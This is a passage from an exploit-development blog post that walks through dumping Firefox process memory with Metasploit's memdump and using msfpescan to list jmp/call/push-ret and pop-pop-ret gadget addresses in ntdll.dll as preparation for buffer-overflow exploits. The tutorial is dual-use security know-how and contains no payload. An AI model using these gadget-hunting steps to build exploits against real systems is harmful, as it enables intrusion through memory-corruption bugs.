<p>We need a create a directory for dump. We will dump the memory of firefox.exe of PID 1800.</p>
<p><strong>Example:</strong></p>
<div class="examplecode">C:\Program Files\Metasploit\Framework3\msf3\tools\memdump&gt;mkdir C:\firefox</p>
<p>C:\Program Files\Metasploit\Framework3\msf3\tools\memdump&gt;memdump 1800 C:\firefox<br />
[*] Creating dump directory&#8230;C:\firefox<br />
[*] Attaching to 1800&#8230;<br />
[*] Dumping segments&#8230;<br />
[*] Dump completed successfully, 343 segments.</p>
</div>
<p><br/><br />
Now we will run msfpescan on memory dump of firefox.</p>
<p>1. Copy the dump directory C:\firefox to C:\Program Files\Metasploit\Framework3\home\Administrator\<br />
2. Open cygwin shell. Go to All Programs&#8211;&gt; Metasploit 3&#8211;&gt; Cygwin Shell<br />
3. Type following commands</p>
<div class="examplecode">
<p>$ cd ../..</p>
<p>$ cd msf3</p>
<p>$ ./msfpescan -p -M /home/Administrator/firefox/ &gt; /home/Administrator/firefox/output.txt</p>
</div>
<p><br/><br />
Piping the output to output.txt file.</p>
<div class="mceTemp">
<dl id="attachment_64" class="wp-caption alignleft" style="width: 522px;">
<dt class="wp-caption-dt"><a href="http://www.secsavvy.com/wp-content/uploads/2010/07/Output-msfpescan.jpg"><img class="size-full wp-image-64" title="Output of msfpescan" src="http://www.secsavvy.com/wp-content/uploads/2010/07/Output-msfpescan.jpg" alt="" width="512" height="575" /></a><p class="wp-caption-text">Output of msfpescan</p></div><br />
<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/></p>
<h3>3. msfpescan</h3>
<p>This can also be used looking for following pattern:</p>
<ul>
<li> jmp reg</li>
<li> call reg</li>
<li> push reg,  ret</li>
<li>pop, pop, ret</li>
</ul>
<p>1. Open cygwin shell and change the directory to msf3<br />
2. Copy the dll to C:\Program Files\Metasploit\Framework3\home\Administrator\<br />
3. Run the following commands as shown below:</p>
<p>For finding addresses of pattern for jmp reg, call reg, push reg  ret</p>
<div class="examplecode">
<p>$./msfpescan -j eax /home/Administrator/ntdll.dll </p>
<p>0x7c90160b push eax; ret<br />
0x7c901633 push eax; ret<br />
0x7c9059b8 push eax; ret<br />
0x7c90e435 call eax<br />
0x7c90e95f call eax<br />
0x7c90e9a7 call eax<br />
0x7c916342 call eax<br />
0x7c9174a8 call eax<br />
0x7c917dce call eax<br />
0x7c91e1e2 call eax<br />
0x7c9211b9 call eax<br />
0x7c923be6 call eax<br />
0x7c924689 call eax<br />
0x7c9395a0 call eax<br />
0x7c939619 call eax<br />
0x7c9405dc call eax<br />
0x7c942626 call eax<br />
0x7c9542cf call eax<br />
0x7c954f40 jmp eax<br />
0x7c954f79 jmp eax<br />
0x7c954f94 call eax<br />
0x7c955014 jmp eax<br />
0x7c95504d jmp eax<br />
0x7c955068 call eax<br />
0x7c95515c call eax<br />
0x7c955fb4 call eax<br />
0x7c9562ad call eax<br />
0x7c957dff call eax<br />
0x7c957e94 call eax<br />
0x7c957f2c call eax<br />
0x7c96d17c call eax<br />
0x7c974f5e call eax<br />
0x7c9756b2 call eax
</p></div>
<p><br/><br />
For finding addresses of pattern for pop pop ret</p>
<div class="examplecode">
<p>$ ./msfpescan -p  /home/Administrator/ntdll.dll </p>
<p>[/home/Administrator/ntdll.dll]<br />
0x7c90118e pop esi; pop ebp; retn 0&#215;0010<br />
0x7c9011d3 pop esi; pop ebp; retn 0&#215;0008<br />
0x7c9014e0 pop esi; pop edi; retn 0&#215;0010<br />
0x7c9015bf pop esi; pop edi; retn 0&#215;0010<br />
0x7c9016e4 pop edi; pop ebx; retn 0&#215;0010<br />
0x7c90178c pop esi; pop ebx; retn 0&#215;0010<br />
0x7c901931 pop esi; pop ebx; ret<br />
0x7c901cf8 pop edi; pop ebx; ret<br />
0x7c901cfe pop edi; pop ebx; ret<br />
0x7c901d04 pop edi; pop ebx; ret<br />
0x7c901d51 pop edi; pop esi; ret<br />
0x7c901db0 pop edi; pop esi; ret<br />
0x7c902783 pop esi; pop edi; ret<br />
&#8230;&#8230;
</p></div>
<p><br/></p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/exploit-development/overflow-exploit" rel="bookmark" class="crp_title">How to write buffer Overflow Exploit?</a></li><br/><li><a href="http://www.secsavvy.com/forensic/ram-analysis" rel="bookmark" class="crp_title">RAM Analysis</a></li><br/><li><a href="http://www.secsavvy.com/internet-security/want-to-hack-passwords-in-firefox" rel="bookmark" class="crp_title">Want to hack passwords in Firefox??</a></li><br/><li><a href="http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack" rel="bookmark" class="crp_title">Detecting Gmail Account Hack</a></li><br/><li><a href="http://www.secsavvy.com/exploit-development/generating-shellcode" rel="bookmark" class="crp_title">Generating Shellcode using Metasploit</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/Pr0NKSDc0tOb6ws5UwfwtvEdQrU/0/da"><img src="http://feedads.g.doubleclick.net/~a/Pr0NKSDc0tOb6ws5UwfwtvEdQrU/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Pr0NKSDc0tOb6ws5UwfwtvEdQrU/1/da"><img src="http://feedads.g.doubleclick.net/~a/Pr0NKSDc0tOb6ws5UwfwtvEdQrU/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/xvloIDN5zCQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/exploit-development/overwrite-eip/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/exploit-development/overwrite-eip</feedburner:origLink></item>
	</channel>
</rss>

